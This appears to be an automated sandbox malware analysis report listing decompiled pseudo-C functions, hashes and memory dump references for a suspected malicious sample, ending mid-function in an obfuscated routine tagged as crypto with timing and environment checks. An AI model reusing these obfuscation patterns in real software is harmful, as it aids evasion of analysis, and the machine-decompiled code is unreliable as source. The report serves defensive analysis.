Instruction Fuzzy Hash: B841B223B19B8286EB208F25E8443E967A1FB88784F804031EE4DCB798EF3DD441C745

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1D0170 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00007FF67FF6ED1D0170(void* __rax, intOrPtr _a32, intOrPtr _a40, intOrPtr _a64, intOrPtr _a80) {
				void* _v40;
				intOrPtr _v56;
				intOrPtr _v80;
				intOrPtr _v88;
				void* _t17;
				void* _t18;
				void* _t20;
				void* _t22;
				void* _t25;
				void* _t28;

				_t25 = __rax;
				asm("movaps [esp+0x60], xmm6");
				asm("movaps xmm6, xmm2");
				_t20 = r9d - 2;
				if (_t20 == 0) goto 0xed1d0248;
				if (_t20 <= 0) goto 0xed1d0287;
				if (r9d - 5 <= 0) goto 0xed1d022f;
				_t22 = r9d - 6;
				if (_t22 == 0) goto 0xed1d0207;
				if (_t22 <= 0) goto 0xed1d0287;
				if (r9d - 8 <= 0) goto 0xed1d01df;
				if (r9d != 9) goto 0xed1d0287;
				_v56 = 2;
				_t2 = _t25 + 1; // 0x3
				r9d = _t2;
				asm("movsd [esp+0x38], xmm1");
				asm("movsd [esp+0x30], xmm0");
				_v80 = 0x22;
				_v88 = 0x11;
				goto 0xed1d026b;
				_v56 = 2;
				r9d = 4;
				asm("movsd [esp+0x38], xmm1");
				asm("movsd [esp+0x30], xmm0");
				_v80 = 0x22;
				_v88 = 0x12;
				goto 0xed1d026b;
				_v56 = 2;
				r9d = 1;
				asm("movsd [esp+0x38], xmm1");
				asm("movsd [esp+0x30], xmm0");
				_v80 = 0x21;
				_v88 = 8;
				goto 0xed1d026b;
				asm("movsd [esp+0x50], xmm6");
				asm("movaps xmm6, [esp+0x60]");
				goto E00007FF67FF6ED1D12D0;
				_a64 = 2;
				r9d = 2;
				asm("movsd [esp+0x38], xmm1");
				asm("movsd [esp+0x30], xmm0");
				_a40 = 0x22;
				_a32 = 4;
				asm("movsd [esp+0x50], xmm6");
				_t17 = E00007FF67FF6ED1D1074(_t18, 0x1d, r9d - 9, 0xed21a8c8, _t28, _a80);
				asm("movaps xmm0, xmm6");
				asm("movaps xmm6, [esp+0x60]");
				return _t17;
			}

0x7ff6ed1d0170
0x7ff6ed1d0179
0x7ff6ed1d017e
0x7ff6ed1d0181
0x7ff6ed1d0184
0x7ff6ed1d018a
0x7ff6ed1d0194
0x7ff6ed1d019a
0x7ff6ed1d019e
0x7ff6ed1d01a0
0x7ff6ed1d01aa
0x7ff6ed1d01b0
0x7ff6ed1d01b6
0x7ff6ed1d01ba
0x7ff6ed1d01ba
0x7ff6ed1d01be
0x7ff6ed1d01c4
0x7ff6ed1d01ca
0x7ff6ed1d01d2
0x7ff6ed1d01da
0x7ff6ed1d01df
0x7ff6ed1d01e3
0x7ff6ed1d01e9
0x7ff6ed1d01ef
0x7ff6ed1d01f5
0x7ff6ed1d01fd
0x7ff6ed1d0205
0x7ff6ed1d0207
0x7ff6ed1d020b
0x7ff6ed1d0211
0x7ff6ed1d0217
0x7ff6ed1d021d
0x7ff6ed1d0225
0x7ff6ed1d022d
0x7ff6ed1d022f
0x7ff6ed1d023a
0x7ff6ed1d0243
0x7ff6ed1d0248
0x7ff6ed1d024c
0x7ff6ed1d024f
0x7ff6ed1d0255
0x7ff6ed1d025b
0x7ff6ed1d0263
0x7ff6ed1d026b
0x7ff6ed1d0282
0x7ff6ed1d0287
0x7ff6ed1d028a
0x7ff6ed1d0293

APIs

_handle_error.LIBCMT ref: 00007FF6ED1D0282

Strings

", xrefs: 00007FF6ED1D025B
pow, xrefs: 00007FF6ED1D0271

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: d57dd57d50b79a1aca57c8340f739250ddbdc7e636d880c81068914ca528759b
Instruction ID: f542c7397701e2291f88abfddf56ceebff2235ac73e30f6c68cfc4c11dad48e9
Opcode Fuzzy Hash: d57dd57d50b79a1aca57c8340f739250ddbdc7e636d880c81068914ca528759b
Instruction Fuzzy Hash: 0B217073D1CAC587D370CF50E4407AAA6A0FBDA346F201329F28946958EFBED1819F05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1D1C18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00007FF67FF6ED1D1C18(char __ecx, void* __edx, void* __edi, void* __rdx, void* __rsi, void* __r8, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40, intOrPtr _a44, intOrPtr _a48) {
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				long long _v48;
				char _v56;
				void* __rbx;
				void* _t31;
				char _t32;
				long long _t47;
				void* _t48;

				_t54 = __rsi;
				_t53 = __rdx;
				asm("movsd [esp+0x20], xmm3");
				asm("movsd [esp+0x18], xmm2");
				_push(_t48);
				_t32 = __ecx;
				r8d = 0;
				if ( *0xed21c740 == __edx) goto 0xed1d1c53;
				r8d = r8d + 1;
				if (0x7ff6ed21c750 - 0xed21c910 < 0) goto 0xed1d1c38;
				goto 0xed1d1c5e;
				_t47 =  *((intOrPtr*)(0xed21c740 + 8 + (r8d + r8d) * 8));
				_v48 = _t47;
				if (_t47 == 0) goto 0xed1d1cd1;
				_v40 = _a24;
				_v36 = _a28;
				_v32 = _a32;
				_v28 = _a36;
				_v24 = _a40;
				_v20 = _a44;
				_v56 = __ecx;
				E00007FF67FF6ED1D0EA0(__ecx, __edi, _t48, _a48, __rdx, __rsi);
				_t52 =  &_v56;
				if (E00007FF67FF6ED1BFDE0(0xffc0,  &_v56) != 0) goto 0xed1d1cc9;
				E00007FF67FF6ED1D1BE8(_t32, _t47,  &_v56);
				asm("movsd xmm0, [esp+0x40]");
				goto 0xed1d1ce6;
				E00007FF67FF6ED1D0EA0(_t32, __edi, _t48,  &_v56, _t53, _t54);
				_t31 = E00007FF67FF6ED1D1BE8(_t32, _t47, _t52);
				asm("movsd xmm0, [esp+0x80]");
				return _t31;
			}

0x7ff6ed1d1c18
0x7ff6ed1d1c18
0x7ff6ed1d1c18
0x7ff6ed1d1c1e
0x7ff6ed1d1c24
0x7ff6ed1d1c30
0x7ff6ed1d1c35
0x7ff6ed1d1c3a
0x7ff6ed1d1c3c
0x7ff6ed1d1c4d
0x7ff6ed1d1c51
0x7ff6ed1d1c59
0x7ff6ed1d1c6b
0x7ff6ed1d1c73
0x7ff6ed1d1c79
0x7ff6ed1d1c81
0x7ff6ed1d1c89
0x7ff6ed1d1c91
0x7ff6ed1d1c9c
0x7ff6ed1d1ca7
0x7ff6ed1d1cab
0x7ff6ed1d1caf
0x7ff6ed1d1cb4
0x7ff6ed1d1cc0
0x7ff6ed1d1cc4
0x7ff6ed1d1cc9
0x7ff6ed1d1ccf
0x7ff6ed1d1cd1
0x7ff6ed1d1cd8
0x7ff6ed1d1cdd
0x7ff6ed1d1ceb

APIs

_set_errno_from_matherr.LIBCMT ref: 00007FF6ED1D1CC4
_set_errno_from_matherr.LIBCMT ref: 00007FF6ED1D1CD8

Strings

tanh, xrefs: 00007FF6ED1D1C3F

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _set_errno_from_matherr
String ID: tanh
API String ID: 1187470696-874243715
Opcode ID: 4071e9fc9af7f877fa94fa12e6ee8b539db6f19dc552aa501c08e7e8212eff07
Instruction ID: eacaf4170c5a7fb158682ac4f6a67fd077adb3b416b9423aa340ad3f7cbef15a
Opcode Fuzzy Hash: 4071e9fc9af7f877fa94fa12e6ee8b539db6f19dc552aa501c08e7e8212eff07
Instruction Fuzzy Hash: 02210137A1C6468BE760CF28A44026AB3A0FB89341F505535F68DC3799EF3ED4408F05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1C6F60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E00007FF67FF6ED1C6F60(void* __ecx, void* __eflags, void* __rax, long long __rbx, void* __rdx, long long _a8) {
				void* _t3;
				void* _t12;
				void* _t19;

				_t12 = __rax;
				_a8 = __rbx;
				_t3 = E00007FF67FF6ED1C670C(6, __rdx, "FlsSetValue", _t19, 0xed2177f0, 0xed2177f8);
				if (_t12 == 0) goto 0xed1c6fa0;
				E00007FF67FF6ED1EE410(_t3, _t12);
				goto 0xed1c6fa6;
				return TlsSetValue(??, ??);
			}

0x7ff6ed1c6f60
0x7ff6ed1c6f60
0x7ff6ed1c6f89
0x7ff6ed1c6f96
0x7ff6ed1c6f98
0x7ff6ed1c6f9e
0x7ff6ed1c6fb0

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF6ED1C6F89
TlsSetValue.KERNEL32 ref: 00007FF6ED1C6FA0

Strings

FlsSetValue, xrefs: 00007FF6ED1C6F76

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: eb1b973b29d8f29eeb944f8bd11f3872e7b605d74b20f6105e7a2b599f4eb02e
Instruction ID: 0de1c3bab372b2f9a81694ecb8beb63647e79ddfb33b9d6d8cf8a64f536a3be7
Opcode Fuzzy Hash: eb1b973b29d8f29eeb944f8bd11f3872e7b605d74b20f6105e7a2b599f4eb02e
Instruction Fuzzy Hash: ABE06C53B0C603C1EE094B50F5406F82252EF44790F548531D92D8B795ED3FD445C30A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 5980, Parent PID: 680COMMON

Executed Functions

Function 00007FFBAFE31355 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.549968476.00007FFBAFE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAFE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffbafe30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d136ae24190021218f010f465a32cb6dcd2b253f9b7f790df5ba213fb598ef4
Instruction ID: 810477d62f2c7e0416cccbee3ef49b97098128593e9a0ac8e2c9cc11c7e9aa7a
Opcode Fuzzy Hash: 7d136ae24190021218f010f465a32cb6dcd2b253f9b7f790df5ba213fb598ef4
Instruction Fuzzy Hash: 1B01677151CB0C4FD744EF0CE451AA6B7E0FB95364F10056DE58AC7651DA36E882CB45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: LoWin64.exePID: 1360, Parent PID: 6972COMMON

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	630
Total number of Limit Nodes:	65

Executed Functions

Function 00007FF6B1CAEE80 Relevance: 58.7, APIs: 30, Strings: 3, Instructions: 917
COMMONCrypto

Download Yara Rule

C-Code - Quality: 65%

			E00007FF67FF6B1CAEE80(void* __eax, void* __ebx, void* __edi, void* __esi, void* _a128, long long _a144, signed int _a152) {
				signed int _t111;
				void* _t118;
				void* _t120;
				signed char _t151;
				signed int _t184;
				signed int _t217;
				signed int _t228;
				void* _t254;
				void* _t286;
				void* _t304;
				void* _t365;
				signed int _t367;
				void* _t371;
				void* _t372;
				void* _t374;
				void* _t376;
				void* _t379;
				void* _t382;
				void* _t385;
				void* _t386;
				void* _t388;
				void* _t391;
				void* _t392;
				void* _t395;
				void* _t401;
				void* _t407;
				void* _t422;
				void* _t456;
				void* _t458;
				void* _t466;
				signed int _t469;
				void* _t477;
				void* _t480;
				void* _t483;
				void* _t486;
				void* _t489;
				signed long long _t496;
				void* _t499;
				void* _t502;
				void* _t505;
				void* _t508;
				void* _t511;
				signed int _t515;
				long long _t516;
				void* _t519;
				signed int _t522;
				signed long long _t523;
				signed long long _t527;
				signed long long _t531;
				void* _t535;
				signed long long _t538;
				signed long long _t542;
				signed long long _t546;
				signed long long _t555;
				void* _t559;
				signed long long _t562;
				signed long long _t566;
				signed long long _t570;
				signed long long _t574;
				signed long long _t578;
				signed long long _t582;
				signed long long _t583;
				void* _t586;
				signed long long _t589;
				void* _t593;
				signed int _t597;
				signed long long _t598;
				signed long long _t602;
				void* _t608;
				void* _t611;
				void* _t614;
				void* _t616;
				void* _t618;
				void* _t620;
				void* _t622;
				void* _t624;
				void* _t626;
				void* _t628;
				void* _t630;
				void* _t632;
				void* _t636;
				void* _t638;
				void* _t640;
				void* _t642;
				void* _t644;
				void* _t646;
				void* _t648;
				void* _t650;
				void* _t652;
				void* _t654;
				signed long long _t656;
				signed long long _t661;
				signed long long _t671;
				signed long long _t674;
				signed long long _t679;
				signed long long _t682;
				signed long long _t685;
				signed long long _t688;
				signed long long _t689;
				signed long long _t691;
				signed long long _t694;
				void* _t698;
				signed long long _t701;
				signed long long _t705;
				signed long long _t709;
				void* _t727;
				void* _t730;
				void* _t733;
				void* _t736;
				void* _t739;
				void* _t742;
				void* _t745;
				void* _t748;
				void* _t751;
				void* _t754;
				void* _t757;
				void* _t760;
				void* _t763;
				void* _t766;
				signed long long _t780;
				signed int _t782;
				signed int _t784;
				void* _t803;
				signed long long _t827;
				void* _t838;

				_t480 = (_t477 - _t780 | _t827) + _t780;
				 *0xb1decf60 = _t782;
				 *0xb1decf60 = _t780;
				 *0xb1decf60 = _t803 + _t780;
				E00007FF67FF6B1D3ACF4(_t480);
				if (_t480 - 0x4a >= 0) goto 0xb1caeeb3;
				_t483 = (_t480 - _t780 | _t827) + _t780;
				_t371 = _t483 - 0x3d;
				if (_t371 == 0) goto 0xb1caee6b;
				GetSystemDefaultLangID();
				GetLastActivePopup(??);
				E00007FF67FF6B1D3ACF4(_t483);
				E00007FF67FF6B1D3ACF4(_t483);
				if (_t371 >= 0) goto 0xb1caeedb;
				_t486 = (_t483 - _t780 | _t827) + _t780;
				asm("movsd xmm6, [0x10fbe5]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t371 > 0) goto 0xb1caef23;
				E00007FF67FF6B1D3ACF4(_t486);
				if (_t371 >= 0) goto 0xb1caef01;
				_t489 = (_t486 - _t780 | _t827) + _t780;
				_t372 = _t489 - 0x14;
				if (_t372 < 0) goto 0xb1caef23;
				E00007FF67FF6B1D3ACF4(_t489);
				GetSystemDefaultLangID();
				 *0xb1decf60 = 0x28;
				 *0xb1decf60 = _t780;
				goto 0xb1caef4b;
				E00007FF67FF6B1D3ACF4(_t489);
				if (_t372 >= 0) goto 0xb1caef33;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = (_t489 - _t780 | _t827) + _t780;
				E00007FF67FF6B1D3ACF4((_t489 - _t780 | _t827) + _t780);
				if (_t372 >= 0) goto 0xb1caef5b;
				asm("movsd xmm0, [0x10f9a5]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t372 != 0) goto 0xb1caef76;
				if (_t372 == 0) goto 0xb1caef78;
				_t496 = _t780;
				 *0xb1decf60 = _t496;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t496);
				GetSystemDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t496);
				if (_t372 >= 0) goto 0xb1caefa0;
				_t499 = (_t496 - _t780 | _t827) + _t780;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t499);
				if (_t499 - 0x6e >= 0) goto 0xb1caefbf;
				_t502 = (_t499 - _t780 | _t827) + _t780;
				_t374 = _t502 - 0x51;
				if (_t374 >= 0) goto 0xb1caeffd;
				E00007FF67FF6B1D3ACF4(_t502);
				if (_t374 >= 0) goto 0xb1caefd4;
				_t505 = (_t502 - _t780 | _t827) + _t780;
				E00007FF67FF6B1D3ACF4(_t505);
				if (_t374 >= 0) goto 0xb1caefed;
				_t508 = (_t505 - _t780 | _t827) + _t780;
				 *0xb1decf60 = 0;
				goto 0xb1caf00a;
				E00007FF67FF6B1DA4030();
				 *0xb1decf60 = r12d;
				GetTickCount();
				GetTickCount();
				E00007FF67FF6B1D3ACF4(_t508);
				if (_t508 - 0x2f >= 0) goto 0xb1caf026;
				_t511 = (_t508 - _t780 | _t827) + _t780;
				_t376 = _t511 - 0x11;
				if (_t376 <= 0) goto 0xb1caf08e;
				_t111 = E00007FF67FF6B1D3ACF4(_t511);
				if (_t376 >= 0) goto 0xb1caf03b;
				if ((_t511 - _t780 | _t827) + _t780 - 0x26 >= 0) goto 0xb1caf08e;
				asm("str word [ecx+0x13df0f3d]");
				 *_t780 =  *_t780 + (_t111 & r13d);
				asm("sti");
				if (0x58 - 0x66 < 0) goto 0xb1caf045;
				_t515 = _a144;
				 *0xb1decf60 = _t515;
				_t516 = _t515 + _t780;
				_a144 = _t516;
				_t379 = _t516 - 0x1f;
				if (_t379 < 0) goto 0xb1caf040;
				E00007FF67FF6B1D3ACF4(_t516);
				if (_t379 >= 0) goto 0xb1caf083;
				_t519 = (_t516 - _t780 | _t827) + _t780;
				goto 0xb1caf0a7;
				E00007FF67FF6B1D3ACF4(_t519);
				if (_t519 - 0x11 >= 0) goto 0xb1caf09e;
				_t522 = (_t519 - _t780 | _t827) + _t780;
				r13d = 0x6b;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = _t780;
				 *0xb1decf60 = _t522;
				_t523 = _t522 + _t780;
				_t382 = _t523 - 0x7e;
				if (_t382 < 0) goto 0xb1caf0b6;
				_t828 = _a152;
				_t784 = _a152;
				r8d = 0x17f22; // executed
				_t118 = E00007FF67FF6B1CB4490(_t780, _t784, 0xb1da6750, _a152, _t838); // executed
				 *_t523 =  *_t523 + _t118;
				E00007FF67FF6B1D3ACF4(_t523);
				 *0xb1decf60 = _t780;
				 *0xb1decf60 = r12d;
				_t120 = E00007FF67FF6B1D3ACF4(_t523);
				if (_t382 >= 0) goto 0xb1caf11f;
				_t527 = ((_t523 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				_t367 = r12d;
				 *0xb1decf60 = _t784;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t527);
				if (_t120 - r15d >= 0) goto 0xb1caf14b;
				_t531 = ((_t527 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				asm("movsd xmm6, [0x10f885]");
				goto 0xb1caf175;
				if (0x58 - 0x12 >= 0) goto 0xb1caf183;
				 *0xb1decf60 = 0x58 + _t780;
				E00007FF67FF6B1D3ACF4(_t531);
				if (0x58 - 0x12 >= 0) goto 0xb1caf175;
				_t535 = ((_t531 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x58 - 0x12 > 0) goto 0xb1caf155;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t535);
				_t538 = (_t535 - _t780 | 0xffffff80) + _t780;
				_t385 = _t538 - 0x7b;
				if (_t385 >= 0) goto 0xb1caf1c0;
				E00007FF67FF6B1D3ACF4(_t538);
				if (_t385 >= 0) goto 0xb1caf1bb;
				_t542 = ((_t538 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				_t386 = _t542 - 0x49;
				if (_t386 > 0) goto 0xb1caf1df;
				E00007FF67FF6B1D3ACF4(_t542);
				if (_t386 >= 0) goto 0xb1caf1d0;
				_t546 = ((_t542 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				 *0xb1decf60 = _t784;
				E00007FF67FF6B1D3ACF4(_t546);
				if (_t546 - 0x7b >= 0) goto 0xb1caf1ef;
				_t388 = ((_t546 & 0x8000007f) - _t780 | 0xffffff80) + _t780 - 0x4e;
				if (_t388 == 0) goto 0xb1caf264;
				asm("movsd xmm6, [0x10f8a4]");
				_pop(_t785);
				E00007FF67FF6B1D3ACF4(((_t546 & 0x8000007f) - _t780 | 0xffffff80) + _t780);
				GetCurrentProcessId();
				E00007FF67FF6B1D3ACF4(((_t546 & 0x8000007f) - _t780 | 0xffffff80) + _t780);
				if (_t388 >= 0) goto 0xb1caf224;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t388 != 0) goto 0xb1caf237;
				if (_t388 == 0) goto 0xb1caf239;
				_t555 = _t780;
				 *0xb1decf60 = _t555;
				 *0xb1decf60 = 0x2b + _t780;
				E00007FF67FF6B1D3ACF4(_t555);
				if (_t388 >= 0) goto 0xb1caf25a;
				_t559 = ((_t555 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				if (_t559 != 0x4e) goto 0xb1caf201;
				asm("verw ax");
				asm("pop es");
				_t562 = (_t559 - _t780 | 0xffffff80) + _t780;
				_t391 = _t562 - 0x4f;
				if (_t391 <= 0) goto 0xb1caf2b1;
				E00007FF67FF6B1D3ACF4(_t562);
				if (_t391 >= 0) goto 0xb1caf291;
				_t566 = ((_t562 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				_t392 = _t566 - 0x79;
				if (_t392 == 0) goto 0xb1caf2b1;
				E00007FF67FF6B1D3ACF4(_t566);
				if (_t392 >= 0) goto 0xb1caf2a6;
				_t570 = ((_t566 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				goto 0xb1caf2d2;
				 *0xb1da43d0();
				E00007FF67FF6B1D3ACF4(_t570);
				if (_t570 - 0x79 >= 0) goto 0xb1caf2c9;
				_t574 = ((_t570 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t574);
				if (_t574 - 0x4f >= 0) goto 0xb1caf2e8;
				_t578 = ((_t574 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				_t395 = _t578 - 9;
				if (_t395 == 0) goto 0xb1caf30a;
				E00007FF67FF6B1D3ACF4(_t578);
				if (_t395 >= 0) goto 0xb1caf2fd;
				_t582 = ((_t578 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				if (_t582 == 0x14) goto 0xb1caf329;
				 *0xb1decf60 = _t780;
				goto 0xb1caf329;
				E00007FF67FF6B1D3ACF4(_t582);
				_t583 = _t582 & 0x8000007f;
				if (_t583 >= 0) goto 0xb1caf31a;
				_t586 = (_t583 - _t780 | 0xffffff80) + _t780;
				 *0xb1decf60 = 0;
				 *0x7FF631CAF3B7 =  *((intOrPtr*)(0x7ff631caf3b7)) + spl;
				if (_t586 - 9 >= 0) goto 0xb1caf341;
				_t589 = (_t586 - _t780 | 0xffffff80) + _t780;
				asm("movsd xmm6, [0x10f717]");
				goto 0xb1caf371;
				if (0x42 - 0x47 >= 0) goto 0xb1caf381;
				 *0xb1da43f0();
				 *0xb1decf60 = 0x42 + _t780;
				E00007FF67FF6B1D3ACF4(_t589);
				if (0x42 - 0x47 >= 0) goto 0xb1caf371;
				_t593 = ((_t589 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (0x42 != 0x47) goto 0xb1caf34b;
				if (0x42 != 0x47) goto 0xb1caf34b;
				 *0xb1decf60 = 0x65;
				GetLastActivePopup(??);
				E00007FF67FF6B1D3ACF4(_t593);
				if ((_t593 - _t780 | 0xffffff80) + _t780 - 0x67 < 0) goto 0xb1caf3cb;
				_t597 = _t780;
				 *0xb1decf60 = _t780;
				 *0xb1decf60 = _t597;
				_t598 = _t597 + _t780;
				_t401 = _t598 - 0xd;
				if (_t401 < 0) goto 0xb1caf3af;
				 *0xb1decf60 = r12d;
				goto 0xb1caf3d7;
				E00007FF67FF6B1DA4030();
				 *0xb1decf60 = _t780;
				E00007FF67FF6B1D3ACF4(_t598);
				GetMessageExtraInfo();
				E00007FF67FF6B1D3ACF4(_t598);
				if (_t401 >= 0) goto 0xb1caf3f2;
				_t602 = ((_t598 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				 *0xb1decf60 = 0;
				GetCurrentProcess();
				IsIconic(??);
				E00007FF67FF6B1D3ACF4(_t602);
				if (_t602 - 0x6a >= 0) goto 0xb1caf41f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x10f37e]");
				 *0xb1decf60 = ((_t602 & 0x8000007f) - _t780 | 0xffffff80) + _t780;
				_t151 = GetSystemDefaultLangID();
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebx;
				if (r14d - 0x73 < 0) goto 0xb1caf448;
				 *0xb1decf60 = _t780;
				asm("adc eax, [eax]");
				 *0x34 =  *0x34 + (_t151 &  *0x34);
				 *0xb1decf60 = 0x34;
				_t608 = 0x34 + _t780;
				if (0x34 - 0x43 < 0) goto 0xb1caf46d;
				E00007FF67FF6B1DA4020();
				r14d = _t367;
				E00007FF67FF6B1D3ACF4(_t608);
				if (0x34 - 0x43 >= 0) goto 0xb1caf494;
				_t611 = (_t608 - _t780 | 0xffffff80) + _t780;
				if (0x34 != 0x46) goto 0xb1caf4b9;
				E00007FF67FF6B1D3ACF4(_t611);
				if (0x34 - 0x46 >= 0) goto 0xb1caf4aa;
				_t614 = (_t611 - _t780 | 0xffffff80) + _t780;
				 *0xb1decf60 = 0;
				r15d = r15d + __ebx;
				 *0xb1decf60 = r15d;
				_t407 = r15d - 0x2a;
				if (_t407 < 0) goto 0xb1caf483;
				E00007FF67FF6B1D3ACF4(_t614);
				r15d = 0xffffff80;
				if (_t407 >= 0) goto 0xb1caf4e0;
				_t616 = _t614 - _t780 + _t780;
				if (0x34 == 0x61) goto 0xb1caf505;
				E00007FF67FF6B1D3ACF4(_t616);
				if (0x34 - 0x61 >= 0) goto 0xb1caf4f6;
				_t618 = _t616 - _t780 + _t780;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t618);
				if (0x34 - 0x61 >= 0) goto 0xb1caf516;
